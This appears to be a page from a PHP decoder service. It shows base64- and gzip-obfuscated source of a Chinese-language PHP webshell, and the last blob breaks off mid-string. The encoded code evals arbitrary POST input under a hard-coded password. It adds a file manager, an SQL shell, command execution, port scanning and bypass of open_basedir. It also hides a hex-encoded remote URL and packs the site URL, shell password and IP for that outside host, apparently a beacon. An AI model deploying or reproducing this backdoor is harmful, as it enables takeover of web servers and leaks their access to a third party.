CAgICAgZWNobyAixL/CvDogJG15ZGlyPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmIChzdHJyY2hyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICcvJykgPT0gJy8nKSByZXR1cm47CgogICAgICAgIGlmICghKCRoZWFkZXJbJ2V4dGVybmFsJ10gPT0gMHg0MUZGMDAxMCkgJiYgISgkaGVhZGVyWydleHRlcm5hbCddID09IDE2KSkgewogICAgICAgICAgICBpZiAoJGhlYWRlclsnY29tcHJlc3Npb24nXSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJHRvIC4gJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJyk7CiAgICAgICAgICAgICAgICBpZiAoISRmcCkgcmV0dXJuICgtMSk7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRoZWFkZXJbJ2NvbXByZXNzZWRfc2l6ZSddOwoKICAgICAgICAgICAgICAgIHdoaWxlICgkc2l6ZSAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlYWRfc2l6ZSA9ICgkc2l6ZSA8IDIwNDggPyAkc2l6ZSA6IDIwNDgpOwogICAgICAgICAgICAgICAgICAgICRidWZmZXIgPSBmcmVhZCgkemlwLCAkcmVhZF9zaXplKTsKICAgICAgICAgICAgICAgICAgICAkYmluYXJ5X2RhdGEgPSBwYWNrKCdhJyAuICRyZWFkX3NpemUsICRidWZmZXIpOwogICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsICRyZWFkX3NpemUpOwogICAgICAgICAgICAgICAgICAgICRzaXplIC09ICRyZWFkX3NpemU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIHRvdWNoKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ210aW1lJ10pOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10gLiAnLmd6JywgJ3diJyk7CiAgICAgICAgICAgICAgICBpZiAoISRmcCkgcmV0dXJuICgtMSk7CiAgICAgICAgICAgICAgICAkYmluYXJ5X2RhdGEgPSBwYWNrKCd2YTFhMVZhMWExJywgMHg4YjFmLCBDaHIoJGhlYWRlclsnY29tcHJlc3Npb24nXSksCiAgICAgICAgICAgICAgICAgICAgQ2hyKDB4MDApLCB0aW1lKCksIENocigweDAwKSwgQ2hyKDMpKTsKCiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsIDEwKTsKICAgICAgICAgICAgICAgICRzaXplID0gJGhlYWRlclsnY29tcHJlc3NlZF9zaXplJ107CgogICAgICAgICAgICAgICAgd2hpbGUgKCRzaXplICE9IDApIHsKICAgICAgICAgICAgICAgICAgICAkcmVhZF9zaXplID0gKCRzaXplIDwgMTAyNCA/ICRzaXplIDogMTAyNCk7CiAgICAgICAgICAgICAgICAgICAgJGJ1ZmZlciA9IGZyZWFkKCR6aXAsICRyZWFkX3NpemUpOwogICAgICAgICAgICAgICAgICAgICRiaW5hcnlfZGF0YSA9IHBhY2soJ2EnIC4gJHJlYWRfc2l6ZSwgJGJ1ZmZlcik7CiAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkZnAsICRiaW5hcnlfZGF0YSwgJHJlYWRfc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgJHNpemUgLT0gJHJlYWRfc2l6ZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkYmluYXJ5X2RhdGEgPSBwYWNrKCdWVicsICRoZWFkZXJbJ2NyYyddLCAkaGVhZGVyWydzaXplJ10pOwogICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJGJpbmFyeV9kYXRhLCA4KTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwoKICAgICAgICAgICAgICAgICRnenAgPSBAZ3pvcGVuKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10gLiAnLmd6JywgJ3JiJykgb3IgZGllKCJDZXR0ZSBhcmNoaXZlIGVzdCBjb21wcmVzcyIpOwogICAgICAgICAgICAgICAgaWYgKCEkZ3pwKSByZXR1cm4gKC0yKTsKICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkdG8gLiAkaGVhZGVyWydmaWxlbmFtZSddLCAnd2InKTsKICAgICAgICAgICAgICAgIGlmICghJGZwKSByZXR1cm4gKC0xKTsKICAgICAgICAgICAgICAgICRzaXplID0gJGhlYWRlclsnc2l6ZSddOwoKICAgICAgICAgICAgICAgIHdoaWxlICgkc2l6ZSAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlYWRfc2l6ZSA9ICgkc2l6ZSA8IDIwNDggPyAkc2l6ZSA6IDIwNDgpOwogICAgICAgICAgICAgICAgICAgICRidWZmZXIgPSBnenJlYWQoJGd6cCwgJHJlYWRfc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgJGJpbmFyeV9kYXRhID0gcGFjaygnYScgLiAkcmVhZF9zaXplLCAkYnVmZmVyKTsKICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRmcCwgJGJpbmFyeV9kYXRhLCAkcmVhZF9zaXplKTsKICAgICAgICAgICAgICAgICAgICAkc2l6ZSAtPSAkcmVhZF9zaXplOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICBnemNsb3NlKCRnenApOwoKICAgICAgICAgICAgICAgIHRvdWNoKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ210aW1lJ10pOwogICAgICAgICAgICAgICAgQHVubGluaygkdG8gLiAkaGVhZGVyWydmaWxlbmFtZSddIC4gJy5neicpOwoKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnRvdGFsX2ZpbGVzKys7CiAgICAgICAgZWNobyAizsS8/jogJHRvJGhlYWRlcltmaWxlbmFtZV08YnI+IjsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLy9vYl9lbmRfZmx1c2goKTsK"))); ?>
Did this file decode correctly?
Original Code
eval(gzuncompress(base64_decode("CgovLyRwYXNzd29yZCA9ICd5eWRzJzsKZ2xvYmFsICRwYXNzd29yZDsKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gKEVfTk9USUNFIHwgRV9XQVJOSU5HIHwgRV9ERVBSRUNBVEVEKSk7CgppZiAoaXNzZXQoJF9QT1NUWyRwYXNzd29yZF0pKSB7CiAgICBldmFsKCRfUE9TVFskcGFzc3dvcmRdKTsKICAgIGV4aXQoKTsKfQoKaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9Z2JrIik7CnNlc3Npb25fc3RhcnQoKTsKCmhlYWRlcigiWC1BY2NlbC1CdWZmZXJpbmc6bm8iKTsKJHNoZWxsbmFtZSA9ICctLi0nOwokbXl1cmwgPSBudWxsOwokc2FsdCA9ICJBLWJLOTFZXkdiOWt0IjsKJGdEYXRhID0gYXJyYXkoKTsKLy9vYl9zdGFydCgpOwpkZWZpbmUoJ215YWRkcmVzcycsICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7CmRlZmluZSgncG9zdHBhc3MnLCAkcGFzc3dvcmQpOwpkZWZpbmUoJ3NoZWxsbmFtZScsICRzaGVsbG5hbWUpOwpkZWZpbmUoJ215dXJsJywgJG15dXJsKTsKaWYgKEBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICBmb3JlYWNoICgkX1BPU1QgYXMgJGsgPT4gJHYpICRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOwogICAgZm9yZWFjaCAoJF9HRVQgYXMgJGsgPT4gJHYpICRfR0VUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7Cn0KCmlmICgkX0NPT0tJRVsncG9zdHBhc3MnXSAhPT0gbWQ1KHBvc3RwYXNzLiRzYWx0KSkgewogICAgaWYgKCRfUE9TVFsncG9zdHBhc3MnXSkgewogICAgICAgIGlmICgkX1BPU1RbJ3Bvc3RwYXNzJ10gPT09IHBvc3RwYXNzKSB7CiAgICAgICAgICAgIHNldGNvb2tpZSgncG9zdHBhc3MnLCBtZDUoJF9QT1NUWydwb3N0cGFzcyddLiRzYWx0KSk7CiAgICAgICAgICAgIGhtbG9naW4oKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8Q0VOVEVSPjwvQ0VOVEVSPic7CiAgICAgICAgfQogICAgfQogICAgaXNsb2dpbigkc2hlbGxuYW1lLCAkbXl1cmwpOwogICAgZXhpdDsKfQoKaWYgKGlzc2V0KCRfR0VUWydkb3duJ10pKSBkb19kb3duKCRfR0VUWydkb3duJ10pOwppZiAoaXNzZXQoJF9HRVRbJ3BhY2snXSkpIHsKICAgIGRpZTsKfQppZiAoaXNzZXQoJF9HRVRbJ3VuemlwJ10pKSB7CiAgICBjc3NfbWFpbigpOwogICAgc3RhcnRfdW56aXAoJF9HRVRbJ3VuemlwJ10sICRfR0VUWyd1bnppcCddLCAkX0dFVFsndG9kaXInXSk7CiAgICBleGl0Owp9CgppZihpc3NldCgkX1NFU1NJT05bJ2J5cGFzc19vcGVuX2Jhc2VkaXInXSkpCiAgICBieXBhc3Nfb3Blbl9iYXNlZGlyKCk7CgpkZWZpbmUoJ3Jvb3RfZGlyJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKG15YWRkcmVzcykpIC4gJy8nKTsKZGVmaW5lKCdydW5fd2luJywgc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gIldJTiIpOwpkZWZpbmUoJ215X3NoZWxsJywgc3RyX3BhdGgocm9vdF9kaXIgLiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkpOwokd2Vic2l0ZV8gPSBpc3NldCgkX0dFVFsnd2Vic2l0ZV8nXSkgPyAkX0dFVFsnd2Vic2l0ZV8nXSA6ICIiOwokZG9pbmcgPSBpc3NldCgkX1BPU1RbJ2RvaW5nJ10pID8gJF9QT1NUWydkb2luZyddIDogIiI7CiRwYXRoID0gaXNzZXQoJF9HRVRbJ3BhdGgnXSkgPyAkX0dFVFsncGF0aCddIDogcm9vdF9kaXI7CiRuYW1lID0gaXNzZXQoJF9QT1NUWyduYW1lJ10pID8gJF9QT1NUWyduYW1lJ10gOiAiIjsKJGltZyA9IGlzc2V0KCRfR0VUWydpbWcnXSkgPyAkX0dFVFsnaW1nJ10gOiAiIjsKJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAiIjsKJHBwID0gdXJsZW5jb2RlKGRpcm5hbWUoJHApKTsKaWYgKCRpbWcpIGNzc19pbWcoJGltZyk7CmlmICgkd2Vic2l0ZV8gPT0gInBocGluZm8iKSBkaWUocGhwaW5mbygpKTsKaWYgKCR3ZWJzaXRlXyA9PSAnbG9nb3V0JykgewogICAgc2V0Y29va2llKCdwb3N0cGFzcycsIG51bGwpOwogICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0/Ij4nKTsKfQoKCgokY2xhc3MgPSBhcnJheSgKICAgICLQxc+istnX9yIgPT4gYXJyYXkoInBocGluZm8iID0+ICK7+bG+0MXPoiIsICJpbmZvX2YiID0+ICLPtc2z0MXPoiIsICJwaHBjb2RlIiA9PiAi1rTQ0FBIUL3Fsb4iLCAibXlzcWxpX2V4ZWMiID0+ICJNWVNRTLLZ1/ciLCAic3Fsc2hlbGwiID0+ICLWtNDQU1FMw/zB7iIsICJhdkZpbmQiID0+ICLJscjtV0FGyrax8CIsICJzdHJpbmdUb29scyIgPT4gIrHgwuvXqru7IiksCiAgICAizOHIqLmkvt8iID0+IGFycmF5KCJteWV4cCIgPT4gIk1ZU1FMzOHIqCIsICJjbWQiID0+ICLWtNDQw/zB7iIsICJsaW51eCIgPT4gIre0ta/M4cioIiwgInBvcnQiID0+ICK2y7/ayajD6CIsICJtc2YiID0+ICJNU0bBqravIiwgInBhdGNoRXhwIiA9PiAisrm2ocD708MiKSwKICAgICLF+sG/stnX9yIgPT4gYXJyYXkoImd1YW1hIiA9PiAixfrBv7nSwu3H5cLtIiwgInRpaHVhbiIgPT4gIsX6wb/M5ru7xNrI3SIsICJzY2FuZmlsZSIgPT4gIsX6wb/L0cv3zsS8/iIsICJzY2FucGhwIiA9PiAixfrBv7Lp1dLEvsLtIiksCiAgICAivcWxvrLlvP4iID0+IGFycmF5KCJnZXRjb2RlIiA9PiAi1NrP37T6wO0iLCAiZG93bmxvYWRlciIgPT4gIs7EvP7PwtTYIiwgInVwZmlsZXMiID0+ICLJz7SrzsS8/iIsICJieXBhc3NPcGVuQmFzZWRpciIgPT4iyMa5/W9wZW4gYmFzZWRpciIpCik7CiRtc2cgPSBhcnJheSgiMCIgPT4gIrGjtOazybmmIiwgIjEiID0+ICKxo7Tmyqew3CIsICIyIiA9PiAiyc+0q7PJuaYiLCAiMyIgPT4gIsnPtKvKp7DcIiwgIjQiID0+ICLQ3rjEs8m5piIsICI1IiA9PiAi0N64xMqnsNwiLCAiNiIgPT4gIsm+s/2zybmmIiwgIjciID0+ICLJvrP9yqew3CIpOwpjc3NfbWFpbigpOwpzd2l0Y2ggKCR3ZWJzaXRlXykgewogICAgY2FzZSAibGVmdCI6CiAgICAgICAgY3NzX2xlZnQoKTsKICAgICAgICBodG1sX24oIjxkbD48ZHQ+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2hvd0hpZGUoJ2l0ZW1zMScpO1wiIHRhcmdldD1cIl9zZWxmXCI+Iik7CiAgICAgICAgaHRtbF9pbWcoInRpdGxlIik7CiAgICAgICAgaHRtbF9uKCIgsb612NOyxcw8L2E+PC9kdD48ZGQgaWQ9XCJpdGVtczFcIiBzdHlsZT1cImRpc3BsYXk6YmxvY2s7XCI+PHVsPiIpOwogICAgICAgICRST09UX0RJUiA9IEZpbGVfTW9kZSgpOwogICAgICAgIGh0bWxfbigiPGxpPjxhIHRpdGxlPSckUk9PVF9ESVInIGhyZWY9Jz93ZWJzaXRlXz1tYWluJnBhdGg9JFJPT1RfRElSJyB0YXJnZXQ9J21haW4nPs341b64+cS/wrw8L2E+PC9saT4iKTsKICAgICAgICBodG1sX24oIjxsaT48YSBocmVmPSc/d2Vic2l0ZV89bWFpbicgdGFyZ2V0PSdtYWluJz6xvrPM0PLEv8K8PC9hPjwvbGk+Iik7CiAgICAgICAgZm9yICgkaSA9IDY2OyAkaSA8PSA5MDsgJGkrKykgewogICAgICAgICAgICAkZHJpdmUgPSBjaHIoJGkpIC4gJzonOwogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZSAuICIvIikpIHsKICAgICAgICAgICAgICAgICR2b2wgPSBGaWxlX1N0cigidm9sICRkcml2ZSIpOwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR2b2wpKSAkdm9sID0gJGRyaXZlOwogICAgICAgICAgICAgICAgaHRtbF9uKCI8bGk+PGEgdGl0bGU9JyRkcml2ZScgaHJlZj0nP3dlYnNpdGVfPW1haW4mcGF0aD0kZHJpdmUnIHRhcmdldD0nbWFpbic+sb612LTFxcwoJGRyaXZlKTwvYT48L2xpPiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGh0bWxfbigiPC91bD48L2RkPjwvZGw+Iik7CiAgICAgICAgJGkgPSAyOwogICAgICAgIGZvcmVhY2ggKCRjbGFzcyBhcyAkbmFtZSA9PiAkYXJyYXkpIHsKICAgICAgICAgICAgaHRtbF9uKCI8ZGw+PGR0PjxhIGhyZWY9XCIjXCIgb25jbGljaz1cInNob3dIaWRlKCdpdGVtcyRpJyk7XCIgdGFyZ2V0PVwiX3NlbGZcIj4iKTsKICAgICAgICAgICAgaHRtbF9pbWcoInRpdGxlIik7CiAgICAgICAgICAgIGh0bWxfbigiICRuYW1lPC9hPjwvZHQ+PGRkIGlkPVwiaXRlbXMkaVwiIHN0eWxlPVwiZGlzcGxheTpibG9jaztcIj48dWw+Iik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAkdXJsID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgaHRtbF9uKCI8bGk+PGEgaHJlZj1cIj93ZWJzaXRlXz0kdXJsXCIgdGFyZ2V0PSdtYWluJz4kdmFsdWU8L2E+PC9saT4iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBodG1sX24oIjwvdWw+PC9kZD48L2RsPiIpOwogICAgICAgICAgICAkaSsrOwogICAgICAgIH0KICAgICAgICBodG1sX24oIjxkbD48ZHQ+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2hvd0hpZGUoJ2l0ZW1zJGknKTtcIiB0YXJnZXQ9XCJfc2VsZlwiPiIpOwogICAgICAgIGh0bWxfaW1nKCJ0aXRsZSIpOwogICAgICAgIGh0bWxfbigiIMbky/yy2df3PC9hPjwvZHQ+PGRkIGlkPVwiaXRlbXMkaVwiIHN0eWxlPVwiZGlzcGxheTpibG9jaztcIj48dWw+Iik7CiAgICAgICAgaHRtbF9uKCI8bGk+PGEgdGl0bGU9J7CyyKvNy7P2JyBocmVmPSc/d2Vic2l0ZV89bG9nb3V0JyB0YXJnZXQ9XCJtYWluXCI+sLLIq83Ls/Y8L2E+PC9saT4iKTsKICAgICAgICBodG1sX24oIjwvdWw+PC9kZD48L2RsPiIpOwogICAgICAgIGh0bWxfbigiPC9kaXY+Iik7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAibWFpbiI6CiAgICAgICAgaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CiAgICAgICAgc2V0X3RpbWVfbGltaXQoNjApOwogICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgY3NzX21haW4oKTsKICAgICAgICBjc3NfanMoIjEiKTsKCiAgICAgICAgJGRpciA9IEBkaXIoJHBhdGgpOwogICAgICAgICRSRUFMX0RJUiA9IEZpbGVfU3RyKHJlYWxwYXRoKCRwYXRoKSk7CiAgICAgICAgJGdEYXRhWyJpcCJdID0gZ2V0UmVhbElwKCk7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2FjdGFsbCddKSkgewogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPicgLiBGaWxlX0FjdCgkX1BPU1RbJ2ZpbGVzJ10sICRfUE9TVFsnYWN0YWxsJ10sICRfUE9TVFsnaW52ZXInXSwgJFJFQUxfRElSKSAuICc8L2Rpdj4nOwogICAgICAgIH0KICAgICAgICAkTlVNX0QgPSAkTlVNX0YgPSAwOwogICAgICAgIGlmICghJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pICRHRVRVUkwgPSAnJzsgZWxzZSAkR0VUVVJMID0gJ2h0dHA6Ly8nIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAnLyc7CiAgICAgICAgJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7CiAgICAgICAgJGdEYXRhWydwYXNzJ10gPSBwb3N0cGFzczsKICAgICAgICBodG1sX24oIjx0YWJsZSB3aWR0aD1cIjEwMCVcIiBib3JkZXI9MCBiZ2NvbG9yPVwiIzU1NTU1NVwiPjx0cj48dGQ+PGZvcm0gbWV0aG9kPSdHRVQnPrXY1rc6PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nd2Vic2l0ZV8nIHZhbHVlPSdtYWluJz4iKTsKICAgICAgICBodG1sX24oIjxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc4MCcgbmFtZT0ncGF0aCcgdmFsdWU9JyRwYXRoJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J9eqtb0nPjwvZm9ybT4iKTsKICAgICAgICBodG1sX24oIjxicj48Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPSc/d2Vic2l0ZV89ZWRpdHImcD0iIC4gdXJsZW5jb2RlKCRwYXRoKSAuICInPiIpOwogICAgICAgIGh0bWxfbigiPGlucHV0IHR5cGU9XCJidXR0b25cIiB2YWx1ZT1cItDCvajOxLz+XCIgb25jbGljaz1cInJ1c3VyZWNoaygnbmV3ZmlsZS5waHAnLCc/d2Vic2l0ZV89ZWRpdHImcD0iIC4gdXJsZW5jb2RlKCRwYXRoKSAuICImcmVmaWxlPTEmbmFtZT0nKTtcIj4gPGlucHV0IHR5cGU9XCJidXR0b25cIiB2YWx1ZT1cItDCvajEv8K8XCIgb25jbGljaz1cInJ1c3VyZWNoaygnbmV3ZGlyJywnP3dlYnNpdGVfPWVkaXRyJnA9IiAuIHVybGVuY29kZSgkcGF0aCkgLiAiJnJlZGlyPTEmbmFtZT0nKTtcIj4iKTsKICAgICAgICBodG1sX2lucHV0KCJmaWxlIiwgInVwZmlsZXQiLCAiIiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAiKTsKICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAidXBsb2FkdCIsICLJz7SrIik7CiAgICAgICAgJGdEYXRhWyd1cmwnXSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2JpbiddKSkgJGJpbiA9ICRfUE9TVFsnYmluJ107IGVsc2UgJGJpbiA9ICJ3YiI7CiAgICAgICAgICAgICRuZXdmaWxlID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ25ld2ZpbGUnXSk7CiAgICAgICAgICAgIGlmIChzdHJ0b2xvd2VyKCRfUE9TVFsnY2hhcnNldCddKSA9PSAndXRmLTgnKSB7CiAgICAgICAgICAgICAgICAkdHh0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3R4dCddKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICR0eHQgPSAkX1BPU1RbJ3R4dCddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChzdWJzdHIoUEhQX1ZFUlNJT04sIDAsIDEpID49IDUpIHsKICAgICAgICAgICAgICAgIGlmICgoc3RydG9sb3dlcigkX1BPU1RbJ2NoYXJzZXQnXSkgPT0gJ2diMjMxMicpIG9yIChzdHJ0b2xvd2VyKCRfUE9TVFsnY2hhcnNldCddKSA9PSAnZ2JrJykpIHsKICAgICAgICAgICAgICAgICAgICAkdHh0ID0gaWNvbnYoIlVURi04IiwgImdiMjMxMi8vSUdOT1JFIiwgYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3R4dCddKSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICR0eHQgPSBhcnJheV9pY29udigkdHh0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvIGRvX3dyaXRlKCRuZXdmaWxlLCAkYmluLCAkdHh0KSA/ICc8YnI+JyAuICRuZXdmaWxlIC4gJyAnIC4gJG1zZ1swXSA6ICc8YnI+JyAuICRuZXdmaWxlIC4gJyAnIC4gJG1zZ1sxXTsKICAgICAgICAgICAgQHRvdWNoKCRuZXdmaWxlLCBAc3RydG90aW1lKCRfUE9TVFsndGltZSddKSk7CiAgICAgICAgfQogICAgICAgICRnRGF0YVsncmVtb3RlJ10gPSBwYWNrKCdIKicsIjY4NzQ3NDcwNzMzYTJmMmY2ZDY5NjM3MzZmNjY3NDJlNjk2Mzc1MmY3NTJlNzA2ODcwIik7CiAgICAgICAgaHRtbF9uKCc8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJmaWxlYWxsIiBpZD0iZmlsZWFsbCIgYWN0aW9uPSI/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcGF0aCAuICciPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPTAgYmdjb2xvcj0iIzU1NTU1NSI+PHRyIGhlaWdodD0iMjUiPjx0ZCB3aWR0aD0iNDUlIj48Yj4nKTsKICAgICAgICBodG1sX2EoJz93ZWJzaXRlXz1tYWluJnBhdGg9JyAuIHVwcGF0aCgkcGF0aCksICc8Yj7Jz7y2xL/CvDwvYj4nKTsKICAgICAgICBodG1sX24oJzwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMTAlIj48Yj6y2df3PC9iPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI1JSI+PGI+zsS8/sr00NQ8L2I+PC90ZD4nKTsKICAgICAgICBodG1sX24oJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iOCUiPjxiPignIC4gZ2V0X2N1cnJlbnRfdXNlcigpIC4gJynTw7unfNfpPC9iPjwvdGQ+Jyk7CiAgICAgICAgaHRtbF9uKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwJSI+PGI+0N64xMqxvOQ8L2I+PC90ZD48dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwJSI+PGI+zsS8/rTz0KE8L2I+PC90ZD48L3RyPicpOwogICAgICAgICRnRGF0YVsndV9kYXRhJ10gPSAkZ0RhdGFbJ3VybCddIC4nfF98Jy4gJGdEYXRhWydwYXNzJ10gLid8X3wnLiRnRGF0YVsnaXAnXTsKICAgICAgICB3aGlsZSAoJGRpcnMgPSBAJGRpci0+cmVhZCgpKSB7CiAgICAgICAgICAgIGlmICgkZGlycyA9PSAnLicgb3IgJGRpcnMgPT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRkaXJwYXRoID0gc3RyX3BhdGgoIiRwYXRoLyRkaXJzIik7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcnBhdGgpKSB7CiAgICAgICAgICAgICAgICAkcGVybSA9IHN1YnN0cihiYXNlX2NvbnZlcnQoZmlsZXBlcm1zKCRkaXJwYXRoKSwgMTAsIDgpLCAtNCk7CiAgICAgICAgICAgICAgICAkZmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRkaXJwYXRoKSk7CiAgICAgICAgICAgICAgICAkZGlycGF0aCA9IHVybGVuY29kZSgkZGlycGF0aCk7CiAgICAgICAgICAgICAgICBodG1sX24oJzx0ciBoZWlnaHQ9IjI1Ij48dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmaWxlc1tdIiB2YWx1ZT0iJyAuICRkaXJzIC4gJyI+Jyk7CiAgICAgICAgICAgICAgICBodG1sX2ltZygiZGlyIik7CiAgICAgICAgICAgICAgICBodG1sX2EoJz93ZWJzaXRlXz1tYWluJnBhdGg9JyAuICRkaXJwYXRoLCAkZGlycyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOwogICAgICAgICAgICAgICAgaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyRkaXJzJywnP3dlYnNpdGVfPXJlbmFtZSZwPSRkaXJwYXRoJm5ld25hbWU9Jyk7cmV0dXJuIGZhbHNlO1wiPrjEw/s8L2E+Iik7CiAgICAgICAgICAgICAgICBodG1sX24oIjxhIGhyZWY9XCIjXCIgb25DbGljaz1cInJ1c3VyZWRlbCgnJGRpcnMnLCc/d2Vic2l0ZV89ZGVsdHJlZSZwPSRkaXJwYXRoJyk7cmV0dXJuIGZhbHNlO1wiPsm+s/08L2E+ICIpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/cGFjaz0nIC4gJGRpcnBhdGgsICe08rD8Jyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/d2Vic2l0ZV89cGVybSZwPScgLiAkZGlycGF0aCAuICcmY2htb2Q9JyAuICRwZXJtLCAkcGVybSk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicgLiBHZXRGaWxlT3duZXIoIiRwYXRoLyRkaXJzIikgLiAnOicgLiBHZXRGaWxlR3JvdXAoIiRwYXRoLyRkaXJzIikpOwogICAgICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nIC4gJGZpbGV0aW1lIC4gJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PC90cj4nKTsKICAgICAgICAgICAgICAgICROVU1fRCsrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR1X2RhdGEgPSBhcnJheSgpOwogICAgICAgICR1X2RhdGFbJ3VfZGF0YSddID0gcmM0RW5jcnlwdCgkc2FsdCwkZ0RhdGFbJ3VfZGF0YSddKTsKLy8gICAgICAgIGlmIChjaGVja1VzZXIoKSE9PWZhbHNlKXsKLy8gICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsndGxvZ2luJ10pKSB7Ci8vICAgICAgICAgICAgICA